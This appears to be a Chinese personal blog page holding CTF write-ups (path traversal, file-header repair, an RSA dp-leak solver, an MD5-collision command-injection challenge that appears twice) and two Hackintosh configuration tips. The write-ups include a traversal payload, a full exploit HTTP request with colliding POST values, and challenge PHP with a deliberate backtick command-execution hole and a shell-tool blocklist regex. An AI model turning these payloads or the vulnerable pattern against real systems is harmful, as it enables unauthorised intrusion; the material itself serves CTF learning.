Yunoon


漫天星空,触手可及.

绿盟杯WP

0 条评论 默认分类 CTF WP Yunoon

Web

  • mid
    文件包含 直接访问根目录flag
    payload ?1=../../../../../flag

Misc

  • 签到1
    Base64解密
    flag{c54ce9d7b4e17980dd4906d9941ed52a}

  • NOISE
    直接把out加上wav后缀,au频谱打开

  • huahua (队友ArrrrrrrGin)
    拿到文件是个压缩包,打开发现提取不了文件,提示压缩包损坏

    丢进010editor看看,发现头部结构被修改了[55 3A 13 14],正确的头部结构应该为[50 4B 03 04]

    修改头部文件

    成功解压出一个PNG文件,图片打不开,丢尽010editor继续看


    发现缺少PNG格式的头部结构,添加[89 50 4E 47]

    成功打开,明显发现少了一半,再看010里面的高度,修改数值


    成功出现Flag

  • something in picture
    看见图片第一眼就想起了当时做三体的痛苦

    QWB原题:https://zhuanlan.zhihu.com/p/381863924

Crypto

  • 签到2
    根据提示知道是凯撒密码,一共26种情况,挨着试即可。
    flag: flag{38c60aa8ddcfb50afa3021f40f0acdac}
  • easyrsa
   import gmpy2
   import libnum
   
   flag=r''
   e=0x10001
   n=101031799769686356875689677901727632087789394241694537610688487381734497153370779419148195361726900364384918762158954452844358699628272550435920733825528414623691447245900175499950458168333742756118038555364836309568598646312353874247656710732472018288962454506789615632015856961278964493826919853082813244227
   #c=pow(int(flag.encode('hex'),16),e,n)
   c=59381302046219861703693321495442496884448849866535616496729805734326661742228038342690865965545318011599241185017546760846698815333545820228348501022889423901773651749628741238050559441761853071976079031678640014602919526148731936437472217369575554448232401310265267205034644121488774398730319347479771423197
   dp=1089885100013347250801674176717862346181995027932544377293216564837464201546385463279055643089303360817423261428901834798955985043080308895369226243973673
   for y in range(1,e):
       if (e*dp - 1)%y == 0:
           p = (e*dp - 1)//y + 1
           if n%p == 0:
               print(p)
               break
   
   p=11053512813304664001205403980123575453687621192450504620034901579967949764275064083398246623513412930654823318518405996165146764433357196545313057931182701
   q=n//p
   d=gmpy2.invert(e,(p-1)*(q-1))
   m=pow(c,d,n)
   print(libnum.n2s(int(m)))

关于无法登陆到App Store的解决方案

0 条评论 笔记 黑果日记 Yunoon

前言

一直都没解决无法登陆App Store的问题,无限输入密码,后面查阅资料发现是App Store 默认走的是en0,我的无线网卡为en5,导致无法出去。以下为解决方案。

实践

  1. 删除所有的网络驱动器 系统偏好设置->网络
  2. 打开访达 -> 快捷键(Command+Shift+G)-> 输入/Library/Preferences/SystemConfiguration
  3. 删去NetworkInterfaces.plist

  4. 重启即可


使用Karabiner做到键位映射

0 条评论 笔记 黑果日记 Yunoon

前言

黑果的键位与Mac键位不一致,这里利用了Karabiner实现了映射自己想要的键位。
GitHub项目地址:Karabiner-DriverKit-VirtualHIDDevice

安装

安装见GitHub项目中的Usage

  1. Open dist/Karabiner-DriverKit-VirtualHIDDevice-x.x.x.dmg, and then open Karabiner-DriverKit-VirtualHIDDevice.pkg (installer).

  2. Install files via installer.

  3. Execute the following command in Terminal.

    /Applications/.Karabiner-VirtualHIDDevice-Manager.app/Contents/MacOS/Karabiner-VirtualHIDDevice-Manager activate

  4. Run a client program to test the driver extension.

    cd Karabiner-DriverKit-VirtualHIDDevice/examples/virtual-hid-device-service-client
    brew install xcodegen
    make
    make run

使用

  1. 安装后就可以直接添加相应的条目虚拟键盘就可以使用了。

  2. 这个虚拟键盘就会将你的USB输入设备进行代理,然后对相应的键位进行映射,就可以达到你想要的效果。

  3. 这里有个想要注意的点,也是写这篇博客的原因:


    1. 由于虚拟键盘是默认代理了你的所有设备,如果你新插入一个键盘,你在设置中对键盘的更改是无效的,想要对虚拟键盘进行修改才行。
    2. 如上图中,对Keyboard/Dell Universal Receiver的更改都无法生效,只能通过对Karabiner这个虚拟键盘的更改,才能生效。
    3. 但我黑果的笔记本内置键盘默认映射了Command/Option,这样就与外置键盘产生了冲突。
    4. 这里Karabiner官方也提供了选项,研究应用时才发现,可以对是否映射该设备进行选择。
    5. 堪称要命

      25B154A185AE7B1FC7FF2DD304A380AB

总结

国庆摸了大半时间的鱼,也该卷起来了。


MD5 弱类型

0 条评论 默认分类 CTF CQUST Yunoon

前言

学长出了道套娃题,花了点时间,没给源码就黑盒硬做。其实给了md5提示的,但没想到。

知识点

这道题难点主要是没给源代码,考点主要是:

* MD5 弱类型
* 代码审计

实践

  1. exp

    POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=cp%20/flag%20/var/www/html/flag HTTP/1.1
    Host: 127.0.0.1:20031
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 307
    Content-Type: application/x-www-form-urlencoded
    
    a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
    

    注意手动改包时需要加上 Content-Type: application/x-www-form-urlencoded
    这样才能发POST数据

  2. 然后访问网站根目录下flag即可

  3. 当时拿到题就开始分析URL,img是一个将文件名hex转换后base64加密2次的结果,当时尝试直接修改内容为/flag取出内容,无果。尝试了各种方法,都不行,最后做出来时发现源码过滤写死了,先是把解码后的内容进行preg_replace,只保留了a-z,A-Z,1-9,. 这些内容。

  4. 然后对第二个cmd进行测试,通过提示发现可能是考的md5弱类型,试了下,发现过滤了大部分使用函数,发现cp未过滤,通过将flag拷贝至网站根目录拿到flag。

  5. 拿到源码果不其然,img是写死了。

  6. 就硬套

    <?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '<img src ="./ctf3.jpeg">';
        die("xixi锝� no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "<img src='data:image/gif;base64," . $txt . "'></img>";
        echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "<br>";
    } else {
        if ((string)``_POST['a'] !== (string)``_POST['b'] && md5(``_POST['a']) === md5(``_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    }
    
    ?>
    <html>
    <style>
      body{
       background:url(./bj.png)  no-repeat center center;
       background-size:cover;
       background-attachment:fixed;
       background-color:#CCCCCC;
    }
    </style>
    <body>
    </body>
    </html>
    

MD5 弱类型

0 条评论 CTF CQUST Yunoon

前言

学长出了道套娃题,花了点时间,没给源码就黑盒硬做。其实给了md5提示的,但没想到。

知识点

这道题难点主要是没给源代码,考点主要是:

* MD5 弱类型
* 代码审计

实践

  1. exp

    POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=cp%20/flag%20/var/www/html/flag HTTP/1.1
    Host: 127.0.0.1:20031
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 307
    Content-Type: application/x-www-form-urlencoded
    a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

    注意手动改包时需要加上 Content-Type: application/x-www-form-urlencoded

    这样才能发POST数据

  2. 然后访问网站根目录下flag即可

  3. 当时拿到题就开始分析URL,img是一个将文件名hex转换后base64加密2次的结果,当时尝试直接修改内容为/flag取出内容,无果。尝试了各种方法,都不行,最后做出来时发现源码过滤写死了,先是把解码后的内容进行preg_replace,只保留了a-z,A-Z,1-9,.这些内容。

  4. 然后对第二个cmd进行测试,通过提示发现可能是考的md5弱类型,试了下,发现过滤了大部分使用函数,发现cp未过滤,通过将flag拷贝至网站根目录拿到flag。

  5. 拿到源码果不其然,img是写死了。

  6. 就硬套

    <?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd']))
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi锝� no flag");
    } else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
    } else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    echo `$cmd`;
    } else {
    echo ("md5 is funny ~");
    }
    }
    ?>
    <html>
    <style>
    body{
    background:url(./bj.png) no-repeat center center;
    background-size:cover;
    background-attachment:fixed;
    background-color:#CCCCCC;
    }
    </style>
    <body>
    </body>
    </html>